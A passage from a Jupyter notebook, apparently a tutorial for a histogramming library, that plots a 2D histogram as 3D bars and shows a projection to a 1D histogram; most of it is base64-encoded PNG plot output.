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TtOIFRWVjJ16lTOPPPMqOm9jhboNSmNRdCKigouv/xyT+H8zDPPjEWdIKHgdDpxOBxDxpM3NzezYcMG1q9fT0dHBytXrmTNmjVMnz49ohFWe3s7F1xwAT/96U8599xzI7ZfXzidTqZPn867775LSUkJy5Yt4/nnn2f27NlRO2YCIHHTAillsMcxjUsvvVSOHj1amkwmOW7cOPnkk0/K1tZWecYZZ8ipU6fKM844Q7a1tXm2/+UvfyknT54sp0+fLt988804nnnioq2tTf6///f/5LnnnisXL14s7777brl161bZ09Mj+/r6hv2or6+XX/rSl+Srr74a9ffw0Ucfya985Suen3/961/LX//611E/bpwRigvi9jjuIykd0UNXVxdvvPEGr7zyCgcPHuSss85izZo1LFiwIKxpz93d3Vx44YXceuutXHTRRVE8YwXr1q3jrbfe4sknnwSUoQ2ffvopjz76aNSPHUckbCSlF851RA05OTlcccUVXHHFFfT09PDmm2/yyCOPsHfvXr785S+zZs0ali5dGpSwent7ufTSS7nxxhtjQlBwfC6SJDL0wrmOmCArK4tLLrmEl156iU8++YTTTjuNJ598khNPPJHbb7+dLVu24PSZaNPf38+ll17K1VdfzeWXXx6zcz3eF0kSDiHyQR1Rwre+9S1ZVFQk58yZ43mura1NnnXWWXLq1KnyrLPOku3t7VJKKd955x25ePFiOXfuXLl48WL5r3/9K16nHXFYLBb5xhtvyLVr18o5c+bI6667Tr755puyublZnn322fLPf/5zzM/JbrfLSZMmyerqamm1WuX8+fNleXl5zM8jxoh77SnQQyepOOH999+Xn3/++SCSuv322+V9990npZTyvvvuk3fccYeUUsrt27fL+vp6KaWUZWVlcuzYsbE/4RjAZrPJt99+W1533XWyoKBA/vznP5culysu57Jp0yY5bdo0OXnyZPnLX/4yLucQY8SdjAI99MJ5HDEcXyIpJYWFhTQ0NAyRAhxL6O/vJy0tTa8FxQ4J+4fWC+cJhEAtOd5Yv349ixYtOqYJCoio15WOoxs6SR1FqKio4M477+Sdd96J96no0BEz6Kt7CYRgvkR1dXWcf/75PPPMM0yZMiVep3hU4+WXX2bOnDkYDAa2bds26HdHu1fYsQydpBIIgYZHdnZ2cu6553Lfffdx8sknx/MUj2rMnTuXV155hRUrVgx6vrKykhdeeIGKigreeustbrzxxiFyCB3xg05SccJll13GiSeeyN69eykpKeGvf/0rd911F++++y7Tpk3j3Xff5a677gLg0Ucf5cCBA9x7770sXLiQhQsX+q1X6QiOWbNmMWPGjCHPv/baa1x66aWkpKQwadIkpk6dytatW+Nwhjr8Qa9JxQnh+BLdc8893HPPPdE+peMWx4tX2NEKnaR0HFM466yzaGpqGvL8r371K0/67At/Mhxd+pA40EnqOMVwJvHW1tYye/Zsfvazn/GDH/wgXqceFO+9917Yr9HbYBIbek0qTHz22WfMnz8fi8VCX18fc+bM8dzkRxOuvvpq3nrrrUHP3X///R6frDPPPHOI2dttt93GypUrY3maMcGqVat44YUXsFqtHDx4kP3797N8+fJ4n5YON/RIKkwsW7aMVatWcc8992A2m7niiiviMkZppFixYgU1NTWDnnvttdfYvHkzAGvXruX000/3jAvfsGEDkydPJiMjI8ZnGjm8+uqr/M///A8tLS2ce+65LFy4kLfffps5c+Zw8cUXM3v2bEwmE3/605+OKzPDRIfeFjMM2Gw2li1bRmpqKh999NFRe0FrHXLZ19fHWWedxbvvvsuDDz5IZmZmwqZ7OoaNhC3C6eneMNDe3k5vby89PT1YLJZ4n07U8dOf/pTbbruNzMzMeJ+KjuMQero3DFx//fXce++9HDx4kDvvvPOYcWxUFe9qg7OqeP/0009Zt24dd9xxB52dnRgMBlJTU7n55pvjfMY6jgfoJBUmnnnmGUwmE5dffjlOp5OTTjqJf//731GdXBIrqIr3u+66a5Di/YMPPvBs87Of/YzMzEydoHTEDKFqUjqOUQghngdOBwqBI8BPgQ3AS8AEoBa4SErZ7vO6nwG9UsoHY3i6Oo5j6CSlQ4eOhIZeONehQ0dCQycpHTp0JDR0ktKhQ0dCQycpHTp0JDR0ktKhQ0dCQycpHTp0JDR0ktKhQ0dCQycpHTp0JDT+P2xntDsRfzZ+AAAAAElFTkSuQmCC\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" } ], "source": [ "histogram.plot(\"bar3d\", color=\"red\");" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Projections" ] }, { "cell_type": "code", "execution_count": 21, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "Histogram1D('Projection to X', bins=(4,), total=1000, dtype=int64)" ] }, "execution_count": 21, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAagAAAEYCAYAAAAJeGK1AAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjQuMSwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/Z1A+gAAAACXBIWXMAAAsTAAALEwEAmpwYAAAV3UlEQVR4nO3df5TddX3n8eeLIEHBbUECxiQQ2kZrcI9oY3Drj6ZgBdfW0HVpY7c2bbGcetge7NbVpOu263FTkbWray2nSwttuq7S9KAl1u1uYyqybCsYFIXwo4kQSAiSgFrFahR87x/3G3sN8+POZGbuZ2aej3Pm3O/93M/3e18zjrzm873f3JuqQpKk1hwz7ACSJI3EgpIkNcmCkiQ1yYKSJDXJgpIkNcmCkiQ1yYKSjpDksSQ/MFuOK81VFpTmhCR7knyjK4GHk/xxkhMnc6yqOrGq7j3KPDckecNUH3eU59qT5BWT3Hdpki8neWnf2LJu7JypSylNnAWlueSnqupE4IXAi4C3HTkhybEznqphVbUPeCvwR0mO74b/O/DHVXXz8JJJFpTmoKp6EPgr4HkASSrJpUl2Abu6sV9JsjvJl5JsTfKsw/t383+o216Y5N1JHuhWZn+Q5Kl9c9cmuS3JV5N8IckFSTYBLwPe363o3j/Ccb8vyZ8mOZjk/iRvS3JM99gvJrmpe94vJ7kvyatG+l6T/A/gdOCj3XO9pRt/TZKdSb7SreaeO8aP7A+Bh4DfTrIeeA4jlLs046rKL79m/RewB3hFt70M2Am8o7tfwDbgZOCpwLnAI/RWWguB3wNu7DtWAT/Ubb8X2Nrt+3Tgo8A7u8dWA/8A/AS9P/aWAD/cPXYD8IYjMvYf90+B67tjLgf+Hri4e+wXgW8DvwIsAN4I7Acy3vfe3X828PUu11OAtwC7gePG+Pn9YPe9fBk4d9j/e/rlV1W5gtKc8hdJvgLcBHwS+J2+x95ZVV+qqm8A/wa4pqo+U1WHgI3Av0iyvP9gSUKvJH692/dr3THXdVMu7o6zraq+U1UPVtXd44VMsgD4WWBjVX2tqvYAvwu8vm/a/VX1h1X1BLAZWAycNuDP4WeBj3W5vg28m14x/+gY+9xPrwS/Ctw44PNI08rz8ZpLLqyqj4/y2N6+7WcBnzl8p6oeS/IovRXQnr55i4CnAbf2ugqA0FvVQG+l9r8mkfMU4Dh6pXDY/d3zH/bFvnz/2D3/oBd9PKv/2FX1nSR7jzj+kTYAjwKPAW8GLh/wuaRpY0Fpvuh/2/79wBmH7yQ5AXgG8OAR+zwCfAM4q3qvax1pL71TY+M935EeoXcK7wzgzm7s9BGef1BHPtd+4J8fvtOtBJeNdvwkK4F/D5xDrzhvSnJdVe2aZB5pSniKT/PRB4FfSnJ2koX0Ttvd3J1q+66q+g69Cwjek+RUgCRLkpzfTbm6O855SY7pHvvh7rGHgRH/zVN32m4LsCnJ05OcAfw74AOT/H6OfK4twKu7XE8BfgM4BPztkTt2F2ZcDVxRVXdX1eeB9wFXpW/ZKA2DBaV5p6q2A/8RuI7e1Ws/yD+9rnSkt9K7wOBTSb4KfJzeVW5U1S3ALwHvoXeBwSf5p5XZfwP+dXcV3vtGOO6v0buQ4V56r5l9ELhmkt/SO4G3dVfsvbmq7gF+nt7FH48AP0XvEvxvjbDvZfROY17RN/YO4JnAG0aYL82YVPmBhdJh3YriCeCMqnpg2Hmk+cwVlPS9ngd8k76LFCQNhwUldZK8FvgE8NZRTodJmkGe4pMkNckVlCSpSU38O6hTTjmlli9fPuwYkqQpdOuttz5SVYsmu38TBbV8+XJ27Ngx7BiSpCmU5P7xZ43OU3ySpCZZUJKkJllQkqQmWVCSpCZZUJKkJllQkqQmWVCSpCZZUJKkJllQkqQmDVRQSfYkuT3JbUl2dGMnJ9mWZFd3e1Lf/I1Jdie5p+/TRyXNYmvWrGHNmjXDjqF5ZCIrqB+vqrOralV3fwOwvapWANu7+yRZSe/TSc8CLgCuTLJgCjNLkuaBoznFtxbY3G1vBi7sG7+2qg5V1X30Pi579VE8jyRpHhq0oAr46yS3JrmkGzutqh4C6G5P7caXAHv79t3XjUmSNLBB3838JVW1P8mpwLYkd48xNyOMPelTEbuiuwTg9NNPHzCGJGm+GGgFVVX7u9sDwEfonbJ7OMligO72QDd9H7Csb/elwP4RjnlVVa2qqlWLFk3640IkSXPUuAWV5IQkTz+8DbwSuAPYCqzvpq0Hru+2twLrkixMciawArhlqoNr/vJqMml+GOQU32nAR5Icnv/BqvrfST4NbElyMfAAcBFAVe1MsgW4E3gcuLSqnpiW9JKkOWvcgqqqe4HnjzD+KHDeKPtsAjYddTpJ0rzVxEe+S/PJ8g0fG3aESfnivY8CszP/nstfPewImgTf6kiS1CQLSpLUJAtKktQkC0qS1CQLSpLUJK/im8dm49VYMLuvJpM0OFdQkqQmWVCSpCZ5ik/SQJ75c5cPO4LmGVdQkqQmWVCSpCZZUJKkJllQkqQmWVCSpCZ5FZ9mHa8mk+YHV1CSpCZZUJKkJllQkqQmWVCSpCZZUJKkJllQkqQmWVCSpCZZUJKkJllQkqQmWVCSpCZZUJKkJllQkqQmWVCSpCZZUJKkJllQkqQmWVCSpCYNXFBJFiT5bJK/7O6fnGRbkl3d7Ul9czcm2Z3kniTnT0dwSdLcNpEV1GXAXX33NwDbq2oFsL27T5KVwDrgLOAC4MokC6YmriRpvhiooJIsBV4N/FHf8Fpgc7e9Gbiwb/zaqjpUVfcBu4HVU5JWkjRvDLqCei/wFuA7fWOnVdVDAN3tqd34EmBv37x93ZgkSQMbt6CS/CRwoKpuHfCYGWGsRjjuJUl2JNlx8ODBAQ8tSZovBllBvQR4TZI9wLXAuUk+ADycZDFAd3ugm78PWNa3/1Jg/5EHraqrqmpVVa1atGjRUXwLkqS5aNyCqqqNVbW0qpbTu/jhb6rq54GtwPpu2nrg+m57K7AuycIkZwIrgFumPLkkaU479ij2vRzYkuRi4AHgIoCq2plkC3An8DhwaVU9cdRJJUnzyoQKqqpuAG7oth8Fzhtl3iZg01FmkyTNY76ThCSpSRaUJKlJFpQkqUkWlCSpSRaUJKlJFpQkqUkWlCSpSRaUJKlJFpQkqUkWlCSpSRaUJKlJFpQkqUkWlCSpSRaUJKlJFpQkqUkWlCSpSRaUJKlJFpQkqUkWlCSpSRaUJKlJFpQkqUkWlCSpSRaUJKlJFpQkqUkWlCSpSRaUJKlJFpQkqUkWlCSpSRaUJKlJFpQkqUkWlCSpSRaUJKlJ4xZUkuOT3JLkc0l2Jnl7N35ykm1JdnW3J/XtszHJ7iT3JDl/Or8BSdLcNMgK6hBwblU9HzgbuCDJi4ENwPaqWgFs7+6TZCWwDjgLuAC4MsmCacguSZrDxi2o6nmsu/uU7quAtcDmbnwzcGG3vRa4tqoOVdV9wG5g9VSGliTNfQO9BpVkQZLbgAPAtqq6GTitqh4C6G5P7aYvAfb27b6vG5MkaWADFVRVPVFVZwNLgdVJnjfG9Ix0iCdNSi5JsiPJjoMHDw4UVpI0f0zoKr6q+gpwA73Xlh5Oshiguz3QTdsHLOvbbSmwf4RjXVVVq6pq1aJFiyaeXJI0pw1yFd+iJN/fbT8VeAVwN7AVWN9NWw9c321vBdYlWZjkTGAFcMsU55YkzXHHDjBnMbC5uxLvGGBLVf1lkr8DtiS5GHgAuAigqnYm2QLcCTwOXFpVT0xPfEnSXDVuQVXV54EXjDD+KHDeKPtsAjYddTpJ0rzlO0lIkppkQUmSmmRBSZKaZEFJkppkQUmSmmRBSZKaZEFJkppkQUmSmmRBSZKaZEFJkppkQUmSmmRBSZKaZEFJkppkQUmSmmRBSZKaZEFJkppkQUmSmmRBSZKaZEFJkppkQUmSmmRBSZKaZEFJkppkQUmSmmRBSZKaZEFJkppkQUmSmmRBSZKaZEFJkppkQUmSmmRBSZKaZEFJkppkQUmSmmRBSZKaNG5BJVmW5BNJ7kqyM8ll3fjJSbYl2dXdntS3z8Yku5Pck+T86fwGJElz0yArqMeB36iq5wIvBi5NshLYAGyvqhXA9u4+3WPrgLOAC4ArkyyYjvCSpLlr3IKqqoeq6jPd9teAu4AlwFpgczdtM3Bht70WuLaqDlXVfcBuYPUU55YkzXETeg0qyXLgBcDNwGlV9RD0Sgw4tZu2BNjbt9u+buzIY12SZEeSHQcPHpxEdEnSXDZwQSU5EbgOeFNVfXWsqSOM1ZMGqq6qqlVVtWrRokWDxpAkzRMDFVSSp9Arp/9ZVR/uhh9Osrh7fDFwoBvfByzr230psH9q4kqS5otBruILcDVwV1X9176HtgLru+31wPV94+uSLExyJrACuGXqIkuS5oNjB5jzEuD1wO1JbuvGfhO4HNiS5GLgAeAigKramWQLcCe9KwAvraonpjq4JGluG7egquomRn5dCeC8UfbZBGw6ilySpHnOd5KQJDXJgpIkNcmCkiQ1yYKSJDXJgpIkNcmCkiQ1yYKSJDXJgpIkNcmCkiQ1yYKSJDXJgpIkNcmCkiQ1yYKSJDXJgpIkNcmCkiQ1yYKSJDXJgpIkNcmCkiQ1yYKSJDXJgpIkNcmCkiQ1yYKSJDXJgpIkNcmCkiQ1yYKSJDXJgpIkNcmCkiQ1yYKSJDXJgpIkNcmCkiQ1yYKSJDXJgpIkNWncgkpyTZIDSe7oGzs5ybYku7rbk/oe25hkd5J7kpw/XcElSXPbICuoPwEuOGJsA7C9qlYA27v7JFkJrAPO6va5MsmCKUsrSZo3xi2oqroR+NIRw2uBzd32ZuDCvvFrq+pQVd0H7AZWT01USdJ8MtnXoE6rqocAuttTu/ElwN6+efu6sSdJckmSHUl2HDx4cJIxJElz1VRfJJERxmqkiVV1VVWtqqpVixYtmuIYkqTZbrIF9XCSxQDd7YFufB+wrG/eUmD/5ONJkuaryRbUVmB9t70euL5vfF2ShUnOBFYAtxxdREnSfHTseBOSfAhYA5ySZB/w28DlwJYkFwMPABcBVNXOJFuAO4HHgUur6olpyi5JmsPGLaiqet0oD